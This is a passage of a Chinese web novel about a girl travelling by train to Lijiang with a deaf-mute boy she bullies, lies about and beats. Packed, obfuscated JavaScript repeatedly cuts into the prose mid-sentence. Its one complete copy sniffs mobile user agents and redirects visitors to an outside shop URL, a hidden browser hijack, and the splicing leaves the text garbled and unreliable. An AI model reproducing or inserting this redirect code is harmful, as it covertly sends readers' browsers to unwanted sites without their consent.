;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是我姑姑送给我的,我姑姑是美国的博士哦。”那时她总这样答。 还有什么来着? 易佳期放下羽绒服,在房间里转了转。 对了!她蹲下去,拉开衣柜下面的抽屉,拨开上面的杂物,她从最下面抠上来一个铁盒子。 她的美国博士小姑姑,还送了她一些东西。 易佳期打开铁盒,里面是两个银镯,一个厚重的银梳,还有一个她的生肖银摆件。 她犹记得,小姑送完她礼物走后,她坐在自己床上将礼物一件件拿出来看,张克强推开她的门,瞅了一眼,语气很刻薄。 “啧啧,净送点中看不中用的东西,送这么多,还不如一个金豆子值钱,真是越有钱越抠。” “还是美国回来的呢,都跟美国人学坏了!” “妮儿,你可别和你姑学,上学上的都没良心了。” 小小的易佳期专心地摆弄银色的梳子,一点也没把张克强的话放在心上。 她想,要是没了良心就能去美国,那她也要把良心扔了。 “吱呀”一声,房间的门开了。 李树背着包进来,他已经收拾好了。 易佳期瞧了一眼,李树背的还是那个黑包,只是跟之前比更鼓囊了些。 易佳期收回视线,把铁盒里面的东西倒进包里,拉上拉链。 最后,她捞起桌子上的文件袋,夹在胳膊下。 文件袋里,是易红留下的所有东西——一本读书笔记,一叠没贴邮票的明信片。 李树提起来她的旅行包,背在胸前。 “走吧。” 「去哪?」李树这时才想起问这个问题。 易佳期从文件袋里抽出那叠明信片,最上面一张是绿地、牛羊、日照金山。 “去云南。” 15. 绿火车 临安没有火车站,坐火车要先坐大巴去市里。汽车站对面就是火车站,虽说比别人多了一个步骤,但一般提前3个多小时出发就能赶上。 之前李树零花的500块钱买买早餐买买饭,还剩100多,两个人行李重,易佳期索性拿这钱打了辆车,直接去市里的火车站。 之后的一段时间里,李树都得跟着她,身上有钱不便于管理。 “给,这你的票。”易佳期一手攥着瓶水,一手把票塞李树手里。李树前面后面都挂着行李,杵在那像个站起来的虾米。 见他要放行李,易佳期挡了一下:“先别放,一会就该检票了。” 易佳期来回坐过几趟火车,对市里的火车站很熟悉。这儿的人没有说老实坐在那等车的,前面的班次还没检票,后面班次的就已经站在那排长队了。不是大站,火车停留时间不长,人人都怕把自己拉下了,队伍恨不得排到进站口。 上车时,一个小门,大家都往上挤,易佳期的包和箱子都在李树那儿,一个侧身就上去了。李树被人推了好几把,包也掉了,出溜到一半挂在了胳膊上,李树只能撑着胳膊,用一种怪异的姿势往上抬行李,狼狈得不行。 易佳期瞄了一眼,嘴角带着笑,弹了弹手里的火车票,往前去找床铺。 找到床铺坐下来,车已经响铃了。 “送站的赶紧下,还有不,车马上开啦。”列车员喊了几嗓子。 把箱子和包塞到床下头,李树才幽幽松了口气。 易佳期在下铺,已经半躺下玩手机,他原地转了一圈,小隔间已经睡了三个人,易佳期旁边的铺位已经有人了。 他终于腾出手看自己的票面。 这会,易佳期正在看季昀发的消息。 季昀:“佳期,你暑假有安排吗?” 易佳期:“什么事?” 季昀反反复复正在输入了好一会。 季昀:“这不是高考完了吗,我妈妈打算给我点钱,你想去毕业旅行吗,想去哪呀?我们可以一起,日本怎么样?或者韩国呢?” 真高级,易佳期嗤笑,还要出国呢! 她诚心发问:“看来你高考考得不错啊!怎么样,去上海有没有把握?” 季昀难得没有秒回,过了一会才说:“我们说点别的吧。” 易佳期盯着这条消息笑了半天。季昀这人,有点阳光就灿烂,必须得天天在他伤口上撒盐才行。狠狠掐季昀的伤口,是她每天除了赚钱之外,最开心的事,看到季昀泄气、伤心,她就浑身舒坦。 车厢晃晃悠悠,火车已经动起来了,易佳期放下手机,想看看窗外的景色。 抬起头,却是李树的半截身子。 他站着,个头也高,脑袋被卧铺隔在上层。 再看四周,隔间里的人都悄摸往李树身上瞄,不知道他在这杵了多久。 易佳期一把攥住李树的衣角,把他薅下来。“装什么门神呢,车都开了,找个地方坐着去。” 李树被她拽到她的卧铺上,见她这么说,他急匆匆把自己票给她看,「这上面怎么没有写我的位置,要不要找服务员问一下。」 易佳期看傻子一样看他,“你没坐过火车?” “你手上的是站台票,按理说连火车都不让上的,刚才列车员撵半天撵的就是你这种,你还要跑去问人家要座位?” 李树一惊,「这不是逃票吗,我们被抓到怎么办。」 易佳期摇头,手指点了点李树胸口,“不是我们,是你,我的是全票。” 李树的担忧凝固在脸上,呆呆看着她。易佳期接着说,“既然话赶话说到这了,我就宣布一下。” “咱们和别人不一样,你是孤儿,我也是半个孤儿,出门在外,咱俩只能相依为命,怎么说也算得上半道结亲,想把日子过好,一家人就得心在一块。” 易佳期点了点她的钱包。 “钱在一块,心就在一块,以后你赚了钱,我赚了钱都存在一起,这就是我们的小金库,小金库由我管控,我管你吃喝,一天10块零花,一个月300,要穿的衣服鞋子我给你买。” 李树看到这,连忙摆手,我衣服鞋子都带上了,不用买。 易佳期娴熟地抓住他的手腕,“你先别说,听我说完。” “这次去云南旅行的钱,我全掏,但吃多少花多少,需要你用劳动来换。” 说着她掏出一张卡片,递给李树。 李树拿到手里,才发现这卡片是他的常用语卡片,上面还歪歪扭扭留着他的字迹,「稍等」。 这卡片一直在他兜里,易佳期什么时候摸走的,他都不知道。 他正看着,易佳期把卡片一翻,“看这一面。” 「李树服务兑换表」 「 洗脚按脚:10毛 做饭: 早饭5毛 午饭/晚饭10毛 洗衣服: 手洗10毛 机洗3毛 跑腿:1公里内5毛,1公里外多一公里价格上调3毛 」 易佳期点了点卡片上的字,“你后面一两个月多半没有进账,不往小金库里充钱,零花钱也就发不了,从这边去丽江车票600多,你自己对表看看,你给我服务3个月都换不到那么多钱。” 说着,易佳期看了眼票面,“对了,你这张站台票一块钱,先赊给你,等到了丽江你给我按个脚或者洗个衣裳。” “你有什么异议吗?”易佳期问他,却是不容置喙的语气。 李树的表情有些古怪,但他还是同意了,「没异议。」 易佳期随手摸了摸他的头,“行,那以后就这么办,”日光昏黄,已经是傍晚,吃饭的时间,过道上的座位紧俏起来,易佳期从包里掏出盒泡面,“饿不饿,要不要我赊你桶泡面。” 李树摇头,「我不饿。」 话刚说完他又补充道:「我饭量小,平时吃的不多。」 易佳期根本没注意他说什么,旁边那人吃的海鲜泡面太香了。她随口应付道:“行,随你,我去接点热水。” 接完水回来,过道上的座位已经全坐满了。 易佳期端着泡面,不紧不慢。下铺就这点最好,带个单独的小桌子,做什么都比其它铺位方便点。 进了小隔间,才发现,隔壁刚才还躺在床上的大姐,已经坐了起来,正够着头想和李树说话。 易佳期皱眉,刚才她就注意到这人了。 从她上了火车,这人就时不时打量她和李树,她朝李树嘀嘀咕咕的时候,这大姐更是恨不得竖起耳朵听。 易佳期大跨一步,把泡面镇在两个铺位之间的桌子上。 这一下 ,她就插在了两个人之间。 “别和他说话,他有精神病,不能受刺激。”易佳期拿下巴点了点李树。 对床那大姐着实一惊,“有精神病?看着不像啊。” 李树长的白净,人又腼腆,不打人的时候,看着的确斯斯文文的。 易佳期点了点太阳穴,“简单讲,就是智障,脑子笨,跟小孩似的,不过你放心,他病情挺稳定的,不受刺激就不发病。” 说完,她叹了口气,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485763|201994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着挺像那么一回事。 李树听不见两人在说什么,但他能看见易佳期的手势,什么“傻”“笨”之类的。 他也能看见对面大姐的口型,大姐先是看了他一眼,很仔细的一眼,随即一脸恍然大悟的神情,“智障?那是看着有点木木呆呆的样子。” 大姐还想说话,易佳期却掀开泡面盖,岔着腿往那儿一坐,埋头吃了起来。 * 垃圾给李树去扔了,易佳期吃饱了,往被子上一歪。 隔壁大姐见她嘴巴腾出来了,又笑眯笑眯伸个头过来。 “那….男孩,你俩什么关系啊。” 易佳期偏头看了一眼,随口道:“我弟,我俩是龙凤胎。” 她倒不是对隔壁放松了警惕,只是到丽江将近两天两夜,路途漫漫,跑跑火车,就当逗闷子玩呗。 大姐往前一坐,离她更近了,脸上简直神采飞扬。 易佳期也坐起来,“说说你呢,怎么称呼。” “叫我鹿东就行。” “哪个lu?”易佳期接着问。 “森林的小鹿的鹿。”大姐嘿嘿一笑。 易佳期还是第一次见有人这么介绍“鹿”这个姓氏。 “你名字挺文艺啊。” “艺名,艺名,”鹿东手一摆:“我唱民谣的,按江湖规矩,得起个听着比较有故事的名字。” 说完,鹿东又看了她一眼,嘴一撇,语气笃定,“你和你弟,一看就是有故事的人。” 这话一出,易佳期脸才转了过来。 此时民谣大火,吉它和尤克里里成了最风靡的乐器,学校里只要有节目,就有人把吉它背过来,十分钟的课间,尿都把脸憋紫了,也得坐那儿先扫两下吉它,故作深沉。 “有故事”,几乎是对年轻人最高的评价了。 易佳期嘴角勾了勾,很受用。 鹿东说这话不是套近乎,这姐弟俩一上火车她就注意到了。当然,一开始,倒没有深入到故事不故事的层面,只是因为两人长相在人堆里分外出众。 女孩走在前头,个子从人群里顶出个尖儿来,身型是少年人才有的清瘦,往那一定,跟个仙鹤似的。 身后的男孩也好看,高高瘦瘦,很显眼。 一开始,鹿东以为两个人是情侣。 假期出来一块旅游。 没想到两人竟然是龙凤胎,不过鹿东也不惊讶,仔细想想,两人长得确实挺像,都是瘦高个子,冷冷淡淡的长相。 只是气质截然不同。 姐姐气质比较外放,行走坐卧都是一副大摇大摆的样子,走在人多的地方,视线也不会乱摆,用现在流行的话来说,整个人简直蒂炸天。弟弟就秀气些,不看人,也不回话,偶尔闪闪躲躲的。 一个妈妈生的,差别真是大。 不过,弟弟是智障的话,就都说得通了。 李树扔完垃圾回来,一进隔间,迎面而来的就是隔壁大姐深深的目光。 那种注视很复杂,很复杂。 李树不擅长和人交际,第一反应就是看易佳期。 当然,大部分时候,易佳期都不会救他,他只是下意识,习惯了,无论干什么,都想先看看易佳期的反应。 易佳期没反应,她正在沏奶茶,根本没空注意他。 他把视线慢吞吞挪回来。 隔壁大姐梅开二度,再次用那种深沉的目光扫描了他一眼。 最后,长长叹了一口气,“好好听你姐的话,你这病,你姐太辛苦了。” 李树愣了。 我姐?谁啊? 16. 青皮 李树没反应过来。 他又去看易佳期,这次转头转得飞快。什么情况啊?易佳期你说句话呀! 他视线灼灼,分外恳切,可惜,眼睛不能说话,易佳期看都没看他。 但易佳期张口了,冲着隔壁大姐的方向。 “你和他说这个也没用,他又不懂。” 大姐撑起手往前坐,“那也得和他说,说多了他就知道了。他生这种病,你们家里人是最辛苦的。” “不过你弟弟还好,看着自理能力有着呢,也挺听你的话,让他干什么就乖乖去了。” 易佳期短促笑了一下,“那当然,我可是他姐,从我妈肚子里就开始收拾他了,能不听话吗?” 李树找到他姐了。 易佳期的奶茶还没泡好,说话的间隙,她拿着奶茶粉的袋子在嘴边弹弹弹。 他姐在这吃奶茶呢。 等大姐去厕所了,李树才默默坐到易佳期旁边。 他拍拍她的肩膀,用中指点点下巴,又摸了下耳垂。 「姐姐?」 他又快速重复一遍。 「姐姐。」 易佳期哎呦一声,姐姐弟弟什么的,都是她说着玩的,只动嘴又不走心。 但被李树用手语这么表达出来,竟然显得很正式,她心头莫名一激灵。 但也只是短短的一瞬。 “你看见我们说话了,”易佳期瞥他,“我和她说咱俩龙凤胎,她信了,咱俩长得有那么像吗,这都行?” “那下回我就挑战个大的,演你妈妈。” 她没个正形,猛猛戳了李树几下,“先叫个妈妈看看。” 李树安静看着她,冷白的皮肤,漆黑的眼瞳,有上铺的遮挡,下铺能享受的光线稀薄,李树被昏暗包围,呈现出黑白的质地。 「我妈走后,好多年没念这个名字了。」 这是为难了,易佳期想。她是随口说笑,说给别人,人家最多生气害羞,以为你想占便宜当老大。但李树吧…李树这个人,就是个马蜂窝,往哪插都是洞,哪有什么圆满的地方。 她摆手,“和你说着玩…” 妈妈。话还没说完,李树已经喊完了。 他没有比手语,但世界上没有比“mama”更容易辨认的口型了。 易佳期惊了。这个李树,也太…也太…易佳期竟然有些词穷。 难道她让他干什么他都会干么?她有些跃跃欲试。 可惜还不等她乘胜追击,大姐就回来了。 夜里,说了半下午话的大姐终于睡下了,其实大姐也不是只逮着易佳期一个人聊,易佳期脸冷,不笑的时候很有距离感,大姐也是挺有眼色的人。 她也能理解,这么年轻的小孩,还带着个傻子,在外面没点警惕心,撒开膀子和人聊闲,不到终点就被人拐下车了。 大姐懂,但大姐闲不住,不和易佳期聊就和上铺聊,上铺睡了就和列车员聊,列车员不理就打电话不知道和谁聊。 总之,整个隔间里都是大姐的欢声笑语。 易佳期早早戴上耳机,看手机里下载的恐怖电影。 电影只看到一半易佳期就受不了了。 她把手机架在隔间的板子上,这样是不用举着,但要一直侧睡,耳朵被耳机塞得又涨又疼。 外放吧,也不方便,倒不是她多有公德心,她怕太张扬了,有人动心思夜里偷她的手机。 毕竟她用的可是iphone 6 Plus 64GB(土豪金)。 她坐起来,视线倏然对准过道里幽幽的剪影——李树坐在那里,脸隐进黑暗里。 但看他的坐姿,他的脸应该是朝向隔间的。 车厢熄灯了,易佳期不确定他能不能看到她叫他,她随手抄起一包手帕纸朝他扔过去。 李树弯腰捡起纸巾,幽幽走过来。 易佳期坐起来,打开床头的小灯,周围人都睡了,她给李树比手语,「你饿不饿?」 李树愣了一下,好久才说,「我不饿。」 易佳期不信,都两顿没给他饭吃了,李树那么高的个子也不是棉花填的,装什么喝露水的小仙男呢。 她挪了挪位置,“那明早也会饿,这样,你在我旁边给我举会手机,明早我给你根火腿肠。” 见李树迟疑,她从包里掏出根双汇直接扔给他,“两块钱的呢,你赚大了。” 李树的脸又藏进黑暗里,看不见表情,只能看到他那双长手缓缓从暗处伸出来,将火腿肠收入囊中。 易佳期飞快钻进被子里,冲李树拍了拍她旁边的位置。李树背过身去脱鞋。 易佳期这会才发现,李树的上衣有些小,他弯着身子,上衣随着姿势往上跑,漏出一小截冷白细窄的腰。 他很瘦,腰后的骨头很明显,像装饰。 易佳期从小手就欠,摸摸这个扣扣那个,上小学的时候没少被老师罚站。后来长大了,上初中,聪明藏不住了,才有了点上课扣扣摸摸的自由。 男人的腰,她从来没摸过。 她越看越好奇,还是没忍住,不管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她随手扎了个头发,站起来,餐车离她们车厢很近,她披上件衬衫,打算过去看看午饭。 走到厕所那边了,易佳期才想起个事儿。 这一道上,过道上空着那么多个座位,她都没有看见李树。 李树跑去哪了? 17. 柠檬 难道是她昨晚太没轻重?不至于吧? 事情还要从昨晚说起。 还是那个摇摇晃晃的恐怖法语片。 有李树这个支架,易佳期后半截的观影体验堪称享受。 她把包里的零食倒在和大姐共用的桌子上,躺在床上一伸手就能够到。本来想让李树躺外面,这样他就能一只手给她举手机,另一只手伺候她吃东西。 但是想想还是算了。两顿没吃了,她怕李树饿狠了,偷吃她的零食,拿回扣。 那点零食倒不算什么,小钱,但李树得跟她一阵,以后朝夕相处,她必须得立立规矩。 这就和养狗差不多,刚到家的时候不教好规矩,树立威严,等混熟了,再想回过头来教,早就蹬鼻子上脸骑人头上来了。易佳期想着,抽空瞄一眼李树,要说蹬鼻子上脸也得她蹬,李树的鼻子高,有棱有角,一看就很好蹬。 电影放到中间,剧情抽丝剥茧般展开。 主角仓皇扔掉从二手商店买来的胸针。 易佳期扭头喝了口剩下的奶茶。里面有椰果,她咕噜咕噜,直接咽下去。 镜头一转,主角开车驱离,到了酒店,终于歇口气,洗完澡,去拿吹风机。 拉开抽屉,碧蓝色的宝石在灯光下显出火彩,被扔掉的胸针静静躺在那里。 易佳期拆开一小包大刀肉辣条,往嘴里一倒。 主角没听懂怪物的暗示,怪物越追主角越跑,一阵缠斗之后,主角一个箭步关紧大门,进入真正的怪物的领地。 又是套路,易佳期摇摇头,手一甩,甩到李树的肚子上。 李树吓了一跳的样子,身子明显一抖。 易佳期不管,手这么一抻开,舒服多了,她抬了抬被子,把脚也伸过去,架到李树小腿上。 爽歪歪啊。 易佳期继续看电影。她心里记着时间,电影还剩二十来分钟,按理说,马上要到最精彩的地方了… 李树点了暂停。 李树点了暂停? 干什么?火腿肠不想吃想吃点拳脚?易佳期皱眉,飞快地踹了他一脚。 李树没有会意,屏幕依旧定格在怪物飞扑的瞬间。 易佳期气势汹汹,这个臭哑巴真的惹火她了,她猛得侧过头去,却撞上李树点着冷光的眼睛。 李树一直在看着她。 或者说,等着她,等着她看向他,他才能“说话”。 手机屏幕的光打在他的脸侧,显得他愈发白惨惨。易佳期这时才发现他的呼吸幅度有点大。 “干什么?犯病了?”易佳期没什么好气。 李树似乎思考了一下,然后他抬起手比划。 「你能不能离我远点。」 这话说得很不客气,也很没有规矩。易佳期眼睛眯起来,这是她要发火的前兆。 李树还在火上浇油,更具体地提醒她道:「你的手和脚,不要放我身上.....我....」 他还没比划完,易佳期已经转过身去。 事情发展到这,一般的走向不外乎以两个人的冷战结束。 但下一秒,易佳期屁股奋力一撅。 身后一记闷哼,随即是身体撞上隔间挡板的沉重声响。 离你远点? 易佳期记得自己还冷笑了一声,“我挤死你。” 记忆的倒带缓缓停悬。 易佳期一点都没当回事,李树昨晚就是欠收拾,撞他那一下一点不带冤他的。寄人篱下还不愿意伏低做小,这点觉悟都没有,说话那么冲,进了社会也早晚吃大亏。 她不过是替社会提前毒打他一下。 当然,她私心觉得李树没那么脆弱,多少罪都挨过来了,这点小事,不至于闹脾气。 直到吃完饭,李树依旧没有出现。 易佳期没回床铺,拉开过道上的椅子,往上面一坐。李树昨天一下午都守在这,晚上也是趴这上面睡的。 易佳期掏出手机,给李树发了条消息。 “去哪了? ” 消息转了几个圈,慢吞吞发到对话框里。易佳期想了一下,又给李树发了条一模一样的短信。 只是后面又跟了一句,“过来吃饭。” 两条消息都石沉大海。 易佳期这时候还是没当一回事,她一直没有在意别人情绪的习惯,或者说,她一直是别人生气也没有办法的人。 趁着火车不过隧道,她登上企鹅和微信回复客户的消息,这一两个月,贝壳鞋从明星火到素人,从大城市火到小县城,她很早抓住这波风向,在空间和朋友圈大推特推。一到课间操,从临中的操场一眼看过去,十只脚上有八只贝壳鞋,一半都是从她那里买的。操场都快成海滩了。 现下,贝壳鞋的风潮快过去了,但每月还是有比较可观的进账。 卖鞋就这点最好,她把客群经营出来,只要网上起来一个爆款,她基本就可以躺着收钱。 回完消息,她把手机重新扣在桌板上。 走廊的尽头,大姐甩着手走过来,大姐老早就看见她,远远冲她打了个招呼。 走到跟前,大姐视线习惯性横扫一圈,“你弟不在啊?” 易佳期耳根一动。大姐够着脖子往隔间看了看,自言自语似的,“没回来找你么....” 易佳期很快便问,“你看见他了?什么时候?” “昂...”大姐挠挠脸,回忆道:“就八九点吧,厕所那边。” 厕所?易佳期没有张口问,因为不用。 果然,大姐挠着脸,往她对面一坐,迫不及待就要细细说来。 “昨晚变天嘛,空调也冷,早晨起来厕所这边人来人往,不断,咱这车厢厕所一直有人,我就去别的车厢了。” “哦,对了,14车厢有几个小姑娘哦,一起出来旅行的,玩的那个纸牌可有意思了,我跟你说....” 易佳期深深看了大姐一眼,提醒她,“我弟...” 大姐摆手,“扯远了,扯远了,接着说你弟。车厢冷,我回来拿衣服,从老远走过来,看见咱这车厢厕所边上有一撮人。那我当然要看看了,说是有人一直霸着厕所不出来,快一个小时了,有人看不过眼反映上去,人乘务员过来处理,就那个高高的,我在那站了一会,乘务员一直在敲门,说什么需不需要提供帮助什么的。” “敲了好久,还是不开,人家乘务员也急了,觉得不对劲,拿着对讲机说了好一阵,怕里面的人有病,晕在那了,本来乘务员都要拿着钥匙开锁了,门突然就开了。” 大姐两手一拍,冲她绘声绘色,“那人就直戳戳站在里面,我够头往里一看,一下认出来了,哎呀,这不是那谁吗?!”大姐说完,习惯性瞅易佳期一眼。 易佳期自觉互动,“我弟啊。” 大姐又一拍手,说下去,“对啊,我一看,那不是你弟嘛,乘务员看他好好的,又没听见冲水声,坑里也什么都没有,登时有点上火了,问他在里面干什么,敲这么久怎么不开门。” “我一看你弟那个眼神,愣愣的,我就知道他没听懂,一伙人都看着他,那场面别提有多尴尬了,我就和人家乘务员说,他听不见,”大姐指指脑袋,“而且这里有病,不懂事。” “乘务员问我和他什么关系,我说我只是个路人,乘务员又问他是哪个车厢的,还记不记得自己的床位,有没有监护人....反正问了一长串,不知道哪句话刺激到他了,他一下推开乘务员,跑了。” 事情到这里总算讲完了,大姐总结道:“没热闹看了,大家一哄而散,我也回去打牌了,我还以为他跑去找你了。” 但看眼下情况.... 大姐不可置信地又问了一遍,“他没回来找你吗?” 怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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再抬头,两个人已经闪现到别处。 李树和贱人的头顶出现银白色的艺术字,“疾跑靴子生效中...” 再定睛一看,李树旁边的甚至不是人,而是一根直立行走的红皮火腿肠。 易佳期只觉得愤怒,无以言表的愤怒。竟然还敢用她的钱买装备,这两个贱货,她一定要弄死。她话还没说出口,对面那根肠却先耀武扬威起来,“钱还没到你手里,怎么能是你的钱。” “我就买,我就买。”火腿肠叫嚷着,李树沉默不语,但他头顶的金额飞速减少。 金钱-100000,装备+1。 金钱-100000,装备+1。 金钱-100000,装备+1。 ......... 我的钱! 易佳期挣扎着醒来。一股难言的燥热蔓延全身,空调风幽幽裹住她,凉风一现,后背洇起一片湿冷。 “爷爷的,怎么会有这么吓人的梦。” 她换了身衣服下楼,客栈的前台没人,昨天去古城门口接她的是隔壁客栈的老板,她说这家老板有事,让她帮忙看着店。隔壁老板一般下午才来,上午要睡觉。 不过附近的商店,好吃的饭馆,昨天入住时隔壁老板已经讲了一遍。 易佳期把要买的东西和氧气瓶一块结账,老板拿着计算器按了按,“32块2,大大泡泡糖要不要。” 几毛几毛的找钱太麻烦,用糖块当零钱找在小商店很常见。 易佳期下意识要拒绝,自从打算让李树用服务换钱后,易佳期买东西一直都是让找零,一毛五毛的,都收起来放在零钱包里。 但现在,一瞬间,她有些哽住。老板见她没应声,顺手把糖块扔到塑料袋里。 下一秒,一只手迅速钻进袋子里,精准捉出老板扔进去的几块糖。 易佳期把糖推回去,语气平淡而清晰,“找零。” 18. 绿火车 到达丽江的第三天。 李树睡遍了古城周边的肯德基。 白沙、束河、古城、忠义市场。 白天顺着石板路找客栈,晚上就睡在肯德基的角落。第一晚,李树打算睡在路边的长椅,一个路过的大哥把他拽起来。他说夜里风凉,蚊子多,他们现在都去肯德基睡。 李树当时很震惊,那么高档的地方竟然可以免费留宿。大哥说,小伙子你还是太年轻,只要脸皮厚,哪里都能免费。大哥还说,他之前住了好几个月青旅,现在没钱了,出来流浪。 “这就是为什么我赖在丽江不走,在别的地方,我流浪别人叫我乞丐,在这,别人看我是诗人、民谣歌手、背包客。” 李树没接茬,大哥说的那些,他就知道一个诗人,剩下的,听不懂。他只捡想知道的问:「你之前在哪里住青旅。」 “古城还有几个古镇都住过,住最久的是忠义市场,便宜,方便。” 李树默默记下来。 第二天、第三天,李树白天去古镇里转,晚上回肯德基睡觉。有时候客人剩下的薯条汉堡之类的,大哥会给李树留,李树没吃。「别人咬了,我不吃。」 “还是饿得轻,”大哥匪夷所思,“你都出来流浪了,有洁癖可活不长啊。”最后没办法,大哥看李树饿得眼睛都直了,带他去了最近的墓地。他们运气不错,遇上来祭祀的,捡了几样糕点和水果。“吃吧,干净的。” 「你不吃吗?」 大哥看了他一眼,只说:“我们家那边不兴吃这个。” 最后,李树从那里吃饱了回来的。 “我又找到一新地方,有空调还不撵人,去不去?” 李树摇头,在纸上写,「我今天要去古城。」 “行吧,”大哥和他道别,另外提醒他:“我们家那边有个说法,吃了供品得倒霉,反正你最好注意一点。” 说罢,两个人往相反的方向走。李树背着包往古城去,他提前问了大哥古城的大致方向,不算远,大哥说走个把小时就到古城了。只是古城入口多,面积比古镇大,里面岔口也多,全走一遍,恐怕要走上很久。 走到半路,李树找了个公共厕所,换下来过夜的衣服。镜子里的人只能用面黄肌瘦来形容,李树打量了自己一眼,重新进了隔间,换上件衬人的深蓝色。 随后,他洗了把脸,背上包从厕所出来。 “看见忠义市场的牌子,进去继续往北走。”李树翻开大哥给他的地图,恰逢正午,锐利的光线刺在白纸上,是晃目的白光,李树低头凑到纸前去看,脖子刚低下去,背后没来由一凉。虽然听不见,但他的第六感很准。李树瞬间警惕起来。 刚要转身,背后却瞬时被一股力量攥紧,攥着他拖地而行。 是飞车党,要倒霉了。他心里蹦出来第一个想法。 不等他挣扎,身后那道疾驰的力量骤停下来,他被抓着衣襟拽起来,拖一样的拖上车去。李树回头,看见熟悉的那张脸。 黑眉、凤眼、窄脸、挺鼻,眉宇间常常缀满冷漠和不耐。 李树眼睛一亮,不等他抬手,对面便干脆利落甩了他一巴掌。 一巴掌不够泄愤,易佳期抡圆胳膊左右开弓。 坐在前开车的大姐听见声响,转过头来看,被易佳期这架势吓了一跳,忙劝道:“哪有在外面打孩子的,有什么事回去了再说。” 说完,她也不忘了批评李树,“那个谁,你也是,不声不吭自己下车了,你知不知道你姐多担心你啊?” 李树头低下去。 停车的地方离景区不远,不少游客看热闹似的看过来。易佳期撒了火气,怒意稍敛,冷着眉眼在三轮车上坐下。 大姐见状,从座椅下面抽出来个马扎,递给李树,“那个谁,你也先坐下吧。” 三个人乘着电三轮轰隆隆回到民宿。 到了地方,易佳期跳下车,直接拽着李树上楼,门一关,易佳期不用再顾忌外人,能放开了揍。 她一把将李树推到窗边的榻榻米上,压在他身上,掐住他脖子,恶声恶气:“从来没人敢这么耍我,只有你这个小贱人,胆子大得不得了,从小到大,办的事没一件让人顺心的,我问你,以后还跑不跑了?” 易佳期在气头上,但理智还在,她是要吓唬李树,但不想要他命,手上收着劲。 六十万,想想六十万…她自己劝自己。 没想到,被她紧紧攥在手里的那张脸,静静看着她,随后,竟然在这种时刻,缓缓的,嘴角上扬… 还敢笑? 挑衅我?易佳期脑子嗡一下,什么理智,什么六十万,都死一边去吧,她今天必须得揍死他! 她忽视李树张张合合的嘴巴,什么都不管了,把他按在榻榻米上一顿爆锤。 直到易佳期也精疲力尽,她才翻身从李树身上下来。 李树弓着腰,喘着粗气,身体以一种怪异的姿势蜷缩着,两只手不停摩挲在痛处。 但事情还没结束。 “还敢不敢跑了?”易佳期居高临下,还是那个问题。 李树已经腾不出手来回答了,只用口型,“我没有…” 易佳期火又上来了,“竟然还敢狡辩?!”她膝盖一顶,压在李树大腿上,一手抓住李树胳膊,另一只手扬起来。 见易佳期又要打他,李树慌忙挣扎起来,想要抬起手解释,但发了火的易佳期比粘鼠板还难挣脱,他只好用嘴巴怼她的胳膊,轻轻咬她的肉。 这招果然有用,易佳期鼻子一皱,极其嫌弃地挪开手,“你口水…” 易佳期不是讲究人,也没洁癖,但格外讨厌湿乎乎的触感,尤其嫌弃别人的口水。 小时候,第一次在电视上看到女男主角亲嘴,互啃,易佳期差点没吐出来。 反而薛佳兴致勃勃,告诉她们,她上的初中,每天晚上都有混的人在操场上亲嘴。 “为什么?”“谈恋爱呗。” “那我长大了绝不谈恋爱!”易佳期当时说。 易佳期拿开手,李树终于有机会开口。 「我没有… 是穿制服的人,穿制服的人在抓逃票的。好多小孩都被抓住补全票了。」 易佳期坐到一边,没再动手。不过不是单纯为听这原委,她确实打累了,气也撒完了。 李树继续说,「我就想藏起来,下了车再去找你。」 易佳期冷笑,“那你也没来啊。再说你手机是干什么用的,整整四天!不知道打个电话?发个消息?” 李树嘴巴抿成一条线,「手机不见了,不知道什么时候。」 火车上扒手很多,易佳期晚上睡觉都是把手机塞怀里。 不过,李树那破手机偷走估计只能当废铁卖。 「而且我没想到车站有两个出口。」李树比划到这,有些底气不足,眼神飘走了。 易佳期真心服了,“李树,你是不是不自作聪明就会死啊。” “我有时候真想拿把刀捅死你得了,你这猪脑子每天都在想什么?我真不懂,你是外星人吗?” 她顺势恐吓他,“你知不知道,你又聋又哑,还没钱,被人家车站抓住了人家会怎么处理你?” “人家要么是给你大爷打电话,把你遣送回去,要么直接把你送收容所,和一群流浪的关在一起!” 听到“回去”这些字眼,李树眼睛明显瞪大了。 他连连摇头,「不回去。」 易佳期冷冷一笑,“那你就老实点,别整那么多幺蛾子。” “疼不疼?”气消了,易佳期也愿意做些表面功夫,毕竟是摇钱树,再生气,该浇水还是得浇水。 李树的手只要不讲话,就可着身上被揍的地方揉,答案显而易见。 李树老实说,「疼,你劲儿真大。」 但很快,他话锋一转,「但是,我感觉很好,你刚才那样摸我,我一点也不难受。」 又发神经了,又成“摸”了,又和仙家对上话了,易佳期了然。 她随口反问:“我什么时候让你难受了。” 她的确是随口一问,脑子都没过。 但李树却瞬 